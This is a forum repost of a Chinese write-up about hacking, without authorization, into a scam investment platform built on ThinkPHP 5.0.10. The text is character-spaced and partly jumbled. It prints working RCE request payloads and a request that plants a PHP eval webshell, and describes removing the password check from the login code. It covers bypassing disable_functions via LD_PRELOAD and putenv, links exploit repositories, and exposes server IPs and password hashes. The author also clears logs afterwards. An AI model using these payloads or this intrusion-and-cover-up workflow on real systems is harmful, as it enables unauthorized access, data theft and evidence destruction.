搜索

[18031] 2021-07-29_【渗透实战系列】20一次理财杀猪盘渗透测试案例

文档创建者：s7ckTeam
浏览次数：39
最后更新：2025-01-18
2021-07-29_【渗透实战系列】20一次理财杀猪盘渗透测试案例 0 x 0 1   前 言 前 言 0 x 0 2   T h i n k P H P   G e t s h e l l 【 渗 透 实 战 系 列 】 2 0 | 一 次 理 财 杀 猪 盘 渗 透 测 试 案 例 H a c k i n g 黑 白 红   2 0 2 1 - 0 7 - 2 9 涉 及 知 识 点 ： 1 、 杀 猪 盘 渗 透 思 路 2 、 T h i n k P H P 的 R E C 利 用 3 、 重 点 函 数 被 限 制 ， 如 何 绕 过 4 、 登 录 I P 白 名 单 限 制   ， 如 何 绕 过 5 、 ​ d i s a b l e _ f u n c t i o n s 函 数 ， 如 何 绕 过 以 下 文 章 来 源 于 潇 湘 信 安   ， 作 者 3 h a d 0 w 微 信 群 里 一 女 装 大 佬 给 我 私 发 了 一 个 杀 猪 盘 ， 说 她 朋 友 在 这 个 平 台 上 被 骗 了 4 W + ， 求 助 “ 日 站 ” ！ 随 便 注 册 了 个 用 户 进 去 看 了 下 ， 界 面 大 致 如 下 ， 应 该 属 于 投 资 理 财 类 杀 猪 盘 ， 就 是 通 过 各 种 诱 导 方 式 让 受 害 者 去 他 们 的 平 台 理 财 。 比 如 说 什 么 稳 赚 不 赔 ， 赔 了 自 掏 腰 包 赔 偿 等 等 ， 有 的 受 害 者 就 会 先 小 额 充 值 试 试 ， 前 期 肯 定 会 让 你 赚 （ 后 台 控 制 ） ， 也 能 提 现 ， 等 你 大 额 充 值 时 他 们 就 开 始 “ 杀 猪 ” 了 。 她 发 过 来 的 是 个 二 维 码 ， 通 过 识 别 这 个 二 维 码 得 到 要 测 试 的 目 标 网 址 ， 原 打 算 通 过 大 小 写 来 简 单 判 断 目 标 系 统 的 ， 结 果 发 现 输 入 一 个 不 存 在 的 路 径 则 报 错 了 ， 通 过 报 错 信 息 得 知 这 套 程 序 为 框 架 ， 这 个 版 本 存 在 有 R C E 漏 洞 。 潇 湘 信 安 潇 湘 信 安   . 一 个 不 会 编 程 、 挖 S R C 、 代 码 审 计 的 安 全 爱 好 者 ， 主 要 分 享 一 些 安 全 经 验 、 渗 透 思 路 、 奇 淫 技 巧 与 知 识 总 结 。 T h i n k P H P   V 5 . 0 . 1 0
通 过 @ Y 4 e r 老 哥 博 客 中 找 到 T h i n k P H P   V 5 . 0 . 1 0 这 个 版 本 的 可 用 P a y l o a d 如 下 ， T h i n k p h p 5   R C E 总 结 ： h t t p s : / / y 4 e r . c o m / p o s t / t h i n k p h p 5 - r c e / 。 不 过 在 测 试 中 发 现 等 命 令 执 行 函 数 被 限 制 了 ， 猜 测 应 该 是 用 宝 塔 搭 建 的 ， 默 认 就 禁 止 了 这 些 常 见 危 险 函 数 ， 所 以 暂 时 没 办 法 直 接 反 弹 s h e l l 。 既 然 这 样 ， 那 么 我 们 就 先 进 行 G e t s h e l l ， 通 过 执 行 以 下 P a y l o a d 写 入 P H P 一 句 话 木 马 ， 提 示 ： ， 但 其 实 文 件 已 经 写 进 去 了 。 h t t p : / / p h p . l o c a l / t h i n k p h p 5 . 0 . 5 / p u b l i c / i n d e x . p h p ? s = i n d e x p o s t _ m e t h o d = _ _ c o n s t r u c t & m e t h o d = g e t & f i l t e r [ ] = c a l l _ u s e r _ f u n c & g e t [ ] = p h p i n f o _ m e t h o d = _ _ c o n s t r u c t & f i l t e r [ ] = s y s t e m & m e t h o d = G E T & g e t [ ] = w h o a m i #   T h i n k P H P   < =   5 . 0 . 1 3 P O S T   / ? s = i n d e x / i n d e x s = p h p i n f o ( ) & _ m e t h o d = _ _ c o n s t r u c t & m e t h o d = & f i l t e r [ ] = a s s e r t e x e c ( ) 、 p a s s t h r u ( ) 、 s y s t e m ( ) 、 s h e l l _ e x e c ( ) U s e   o f   u n d e f i n e d   c o n s t a n t   _ _ c o n s t r u c t   -   a s s u m e d   ' _ _ c o n s t r u c t ' s = f i l e _ p u t _ c o n t e n t s ( ' 1 . p h p ' , ' < ? p h p   @ e v a l ( $ _ P O S T [ c m d ] ) ; ' ) & _ m e t h o d = _ _ c o n s t r u c t & m e t h o d = & f i l t e r [ ] = a s s e r t
0 x 0 3   后 台 白 名 单 后 台 白 名 单 I P 限 制 限 制 如 果 在 使 用 中 国 菜 刀 连 接 时 出 现 “ 链 接 被 重 置 ” 或 “ 超 时 ” 等 情 况 ， 这 时 我 们 可 以 先 在 P O S T 下 验 证 这 个 一 句 话 木 马 是 否 正 常 ， 只 要 能 够 获 取 p h p i n f o 基 本 就 没 问 题 了 ， 或 者 换 几 个 代 理 节 点 试 试 。 访 问 后 台 地 址 时 出 现 ： ， 原 以 为 管 理 员 是 通 过 或 来 限 制 访 问 后 台 的 ， 但 在 经 过 测 试 后 发 现 都 不 是 的 ， 后 台 这 里 卡 了 我 好 一 阵 ！ 最 终 我 们 在 c o n f i g . p h p 文 件 中 发 现 是 以 白 名 单 的 方 式 来 限 制 我 们 访 问 后 台 的 ， 大 致 看 了 下 管 理 员 设 置 的 白 名 单 I P 地 址 （ 香 港 、 越 南 、 菲 律 宾 、 法 国 ） ， 基 本 可 以 确 定 为 代 理 ， 通 过 W e b 日 志 文 件 确 定 确 实 如 此 ， 所 以 这 里 我 们 只 需 要 将 我 们 本 地 / 代 理 I P 地 址 添 加 进 去 后 即 可 访 问 后 台 。 非 法 I P 访 问 ： 5 8 . * * . * * * . 1 2 2 X - F o r w a r d e d - F o r U s e r - A g e n t / /   默 认 模 块 名 ' d e f a u l t _ m o d u l e '                   = >   ' h o m e ' , / /   禁 止 访 问 模 块 ' d e n y _ m o d u l e _ l i s t '               = >   [ ' c o m m o n ' ] , / / 设 置 某 些 I P 可 以 访 问 模 块 ' a l l o w _ m o d u l e _ i p '                 = > [ ' a d m i n '   = >   [ ' 1 0 3 . 2 0 9 . 1 0 2 . 1 4 5 ' , ' 1 3 0 . 1 0 5 . 2 4 8 . 4 ' , ' 4 3 . 2 4 3 . 9 5 . 2 4 1 ' , ' 1 7 5 . 1 7 6 . 8 . 1 7 4 ' , ' 1 1 8 . 1 4 3 . 2 3 5 . 1 2 4 ' , ' 4 3 . 2 4 3 . 9 5 . 2 4 9 ' , ' 1 3 0 . 1 0 5 . 1 7 9 . 6 6 ' , ' 1 0 8 . 1 6 2 . 2 2 9 . 6 8 ' , / /   默 认 控 制 器 名 ' d e f a u l t _ c o n t r o l l e r '           = >   ' I n d e x ' , / /   默 认 操 作 名 ' d e f a u l t _ a c t i o n '                   = >   ' i n d e x ' , / /   默 认 验 证 器 ' d e f a u l t _ v a l i d a t e '               = >   ' ' ,
接 着 我 们 在 / w w w / w w w r o o t / a l j e x / c o n f i g / d a t a b a s e . p h p 文 件 中 找 到 当 前 数 据 库 用 户 密 码 ， 因 为 这 个 网 站 是 由 宝 塔 搭 建 的 ， 所 以 密 码 都 是 随 机 生 成 的 。 ' d e f a u l t _ v a l i d a t e '               = >   ' ' , / /   默 认 的 空 控 制 器 名 ' e m p t y _ c o n t r o l l e r '               = >   ' E r r o r ' , / /   操 作 方 法 后 缀 ' a c t i o n _ s u f f i x '                     = >   ' ' , / /   自 动 搜 索 控 制 器 ' c o n t r o l l e r _ a u t o _ s e a r c h '   = >   f a l s e , / /   数 据 库 类 型 ' t y p e '                         = >   ' m y s q l ' , / /   服 务 器 地 址 ' h o s t n a m e '                 = >   " 1 2 7 . 0 . 0 . 1 " , / /   数 据 库 名 ' d a t a b a s e '                 = >   " a l j " , / /   用 户 名 ' u s e r n a m e '                 = >   " a l j " , / /   密 码 ' p a s s w o r d '                 = > " w M 5 t 4 T * * * i T X 3 2 M i " , / /   端 口 ' h o s t p o r t '                 = >   " 3 3 0 6 " ,
使 用 刚 找 到 的 数 据 库 用 户 密 码 在 中 国 菜 刀 或 p h p m y a d m i n 连 接 到 数 据 库 ， 然 后 在 表 中 找 到 网 站 后 台 管 理 员 的 用 户 密 码 ， 加 密 方 式 为 M D 5 ， 但 是 都 解 密 不 了 。 注 ： 注 ： 前 边 我 在 d a t a b a s e . p h p 文 件 中 没 有 注 意 看 数 据 库 表 前 缀 ， 一 眼 看 去 以 为 是 管 理 员 表 ， 还 一 直 在 找 它 的 解 密 方 式 ， 经 朋 友 @ 久 久 久 提 醒 才 发 现 找 错 管 理 员 表 了 ， 在 这 个 表 中 可 以 看 到 是 被 “ 别 人 ” 改 过 的 。 目 前 管 理 员 密 文 无 法 解 密 ， 那 么 又 该 如 何 进 入 后 台 呢 ？ 这 里 有 两 个 思 路 ， 1 、 直 接 替 换 管 理 员 的 M D 5 密 文 ， 2 、 修 改 U s e r . p h p 文 件 中 的 检 验 登 入 代 码 ， 将 判 断 密 码 中 删 掉 即 可 ， 输 入 用 户 ， 密 码 随 意 就 可 以 直 接 登 录 后 台 了 。 / w w w / w w w r o o t / a l j e x / a p p / a d m i n / m o d e l / U s e r . p h p ： ： a l j d l _ u s e r t x z h _ a d m i n a d m i n a g e n t     |     $ 2 y $ 1 0 $ b 5 b R a C o j D t S 4 j 6 m o F T S U v . t / b E S H m s r e y K 7 I D E B u d . q 9 k 1 X v b f M Q m u s e r       |     $ 2 y $ 1 0 $ e A 5 s l 1 M z H c 5 H 3 a Z H k E W u r . D D i K D K J w 6 Y A C / C 8 S y X m h 4 8 6 8 r z Z k e t u a d m i n     |     e 1 0 a d c 3 9 4 9 b a 5 9 a b b e 5 6 e 0 5 7 f 2 0 f 8 8 3 e ! a d m i n         / / 检 验 登 入         p u b l i c   f u n c t i o n   c h e c k L o g i n ( $ u s e r n a m e , $ p a s s w o r d ) {                 $ r s   =   $ t h i s - > g e t ( [ ' u s e r n a m e '   = >   $ u s e r n a m e ] ) ;
0 x 0 4   绕 过 绕 过 d i s a b l e _ f u n c t i o n s / w w w / w w w r o o t / a l j e x / a p p / a d m i n / c o n t r o l l e r / L o g i n . p h p ： ： 宝 塔 默 认 限 制 了 以 下 危 险 函 数 ， 这 里 我 们 可 以 尝 试 使 用 以 下 3 个 项 目 来 绕 过 ， 由 于 p u t e n v ( ) 函 数 没 有 被 限 制 ， 所 以 最 终 可 以 通 过                 s e s s i o n ( ' i n f o ' , $ r s ) ;                 i f ( ! $ r s ) {                         $ t h i s - > e r r o r = ' 用 户 不 存 在 或 已 被 禁 用 ！ ' ;                         r e t u r n   f a l s e ;                 } e l s e {                         i f ( $ r s [ ' p a s s w o r d ' ] ! = =   m d 5 ( $ p a s s w o r d ) ) {                                 $ t h i s - > e r r o r = ' 用 户 名 或 密 码 错 误 ！ ' ;                                 r e t u r n   t r u e ;                         }                 }                 . . . S N I P . . .         }         p u b l i c   f u n c t i o n   l o g i n ( R e q u e s t   $ r e q u e s t ) {                 $ u s e r n a m e =   $ r e q u e s t - > p o s t ( ' u s e r n a m e ' ) ; / / 获 取 用 户 名                 $ p a s s w o r d =   $ r e q u e s t - > p o s t ( ' p a s s w o r d ' ) ; / / 获 取 密 码                 $ u s e r   =   n e w   U s e r ( ) ;                 / / 验 证 登 入                 i f ( ! $ u s e r - > c h e c k L o g i n ( $ u s e r n a m e , $ p a s s w o r d ) ) {                         $ t h i s - > e r r o r ( $ u s e r - > g e t E r r o r ( ) ) ;                 }                 / / 记 录 日 志                 $ o p e r a t i o n _ o b j   =   n e w   N e t O p e r a t i o n ( ) ;                 $ o p e r a t i o n _ o b j - > w r i t e L o g ( ) ;                 $ t h i s - > s u c c e s s ( ' 登 录 成 功 ！ ' ,   u r l ( ' I n d e x / i n d e x ' ) ) ;         } L D _ P R E L O A D   &   p u t e n v ( )
绕 过 d i s a b l e _ f u n c t i o n s 执 行 系 统 命 令 。 h t t p s : / / g i t h u b . c o m / m m 0 r 1 / e x p l o i t s / h t t p s : / / g i t h u b . c o m / l 3 m 0 n / B y p a s s _ D i s a b l e _ f u n c t i o n s _ S h e l l h t t p s : / / g i t h u b . c o m / y a n g y a n g w i t h g n u / b y p a s s _ d i s a b l e f u n c _ v i a _ L D _ P R E L O A D 能 执 行 系 统 命 令 后 就 可 以 继 续 进 行 后 续 提 权 、 打 包 程 序 和 数 据 了 ， 由 于 个 人 技 术 水 平 有 限 ， 对 L i n u x 提 权 不 太 熟 悉 ， 对 这 类 程 序 数 据 也 没 啥 兴 趣 ， 简 单 清 理 了 下 日 志 信 息 ， 所 以 也 就 到 此 结 束 了 吧 ！ 推 荐 阅 读 ： 推 荐 阅 读 ： 渗 透 实 战 系 列 渗 透 实 战 系 列 ▶ 【 渗 透 实 战 系 列 】 2 0 - 渗 透 直 播 网 站 ▶ 【 渗 透 实 战 系 列 】 1 9 - 杀 猪 盘 渗 透 测 试 ▶ 【 渗 透 实 战 系 列 】 1 8 - 手 动 拿 学 校 站 点   得 到 上 万 人 的 信 息 （ 漏 洞 已 提 交 ） ▶ 【 渗 透 实 战 系 列 】 | 1 7 - 巧 用 f o f a 对 目 标 网 站 进 行 g e t s h e l l ▶ 【 渗 透 实 战 系 列 】 ｜ 1 6 - 裸 聊 A P P 渗 透 测 试 ▶ 【 渗 透 实 战 系 列 】 ｜ 1 5 - 博 彩 网 站 （ A P P ） 渗 透 的 常 见 切 入 点 ▶ 【 渗 透 实 战 系 列 】 ｜ 1 4 - 对 诈 骗 （ 杀 猪 盘 ） 网 站 的 渗 透 测 试 ▶ 【 渗 透 实 战 系 列 】 ｜ 1 3 - w a f 绕 过 拿 下 赌 博 网 站 ▶ 【 渗 透 实 战 系 列 】 ｜ 1 2   - 渗 透 实 战 ，   被 骗 4 0 0 0 花 呗 背 后 的 骗 局 ▶ 【 渗 透 实 战 系 列 】 ｜ 1 1   -   赌 博 站 人 人 得 而 诛 之 ▶ 【 渗 透 实 战 系 列 】 | 1 0   -   记 某 色 X 商 城 支 付 逻 辑 漏 洞 的 白 嫖 （ 修 改 价 格 提 交 订 单 ） ▶ 【 渗 透 实 战 系 列 】 | 9 - 对 境 外 网 站 开 展 的 一 次 w e b 渗 透 实 战 测 试 （ 非 常 详 细 ， 适 合 打 战 练 手 ） ▶ 【 渗 透 实 战 系 列 】 | 8 - 记 一 次 渗 透 测 试 从 X S S 到 G e t s h e l l 过 程 （ 详 细 到 无 语 ） ▶ 【 渗 透 实 战 系 列 】 | 7 - 记 一 次 理 财 杀 猪 盘 渗 透 测 试 案 例 ▶ 【 渗 透 实 战 系 列 】 | 6 -   B C 杀 猪 盘 渗 透 一 条 龙 ( 文 末 附 【 渗 透 实 战 系 列 】 其 他 文 章 链 接 ) ▶ 【 渗 透 实 战 系 列 】 | 5 - 记 一 次 内 衣 网 站 渗 透 测 试 ▶ 【 渗 透 实 战 系 列 】 | 4 - 看 我 如 何 拿 下 B C 站 的 服 务 器 ▶ 【 渗 透 实 战 系 列 】 | 3 - 一 次 简 单 的 渗 透 ▶ 【 渗 透 实 战 系 列 】 | 2 - 记 一 次 后 门 爆 破 到 提 权 实 战 案 例 ▶ 【 渗 透 实 战 系 列 】 | 1 一 次 对 跨 境 赌 博 类 A P P 的 渗 透 实 战 （ g e t s h e l l 并 获 得 全 部 数 据 ） 长 按 长 按 - 识 别 识 别 - 关 注 关 注 H a c k i n g 黑 白 红 黑 白 红 一 个 专 注 信 息 安 全 技 术 的 学 习 平 台 p a s s t h r u , e x e c , s y s t e m , c h r o o t , c h g r p , c h o w n , s h e l l _ e x e c , p o p e n , p r o c _ o p e n , i n i _ a l t e r , i n i _ r e s t o r e , d l , o p e n l o g , s y s l o g , r e a d l i n k , s y m l i n k , p o p e p a s s t h r u , p c n t l _ a l a r m , p c n t l _ w a i t p i d , p c n t l _ w i f e x i t e d , p c n t l _ w i f s t o p p e d , p c n t l _ w i f s i g n a l e d , p c n t l _ w i f c o n t i n u e d , p c n t l _ w e x i t s t a t u s , p c n t l _ w t e r m s i g , p c n t l _ w s t o p s i g , p c n t l _ s i g n a l _ d i s p a t c h , p c n t l _ g e t _ l a s t _ e r r o r , p c n t l _ s t r e r r o r , p c n t l _ s i g p r o c m a s k , p c n t l _ s i g w a i t i n f o , p c n t l _ s i g t i m e d w a i t , p c n t l _ g e t p r i o r i t y , p c n t l _ s e t p r i o r i t y , i m a p _ o p e n , a p a c h e _ s e t e n v
点 分 享 点 分 享 点 收 藏 点 收 藏 点 点 赞 点 点 赞 点 在 看 点 在 看
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理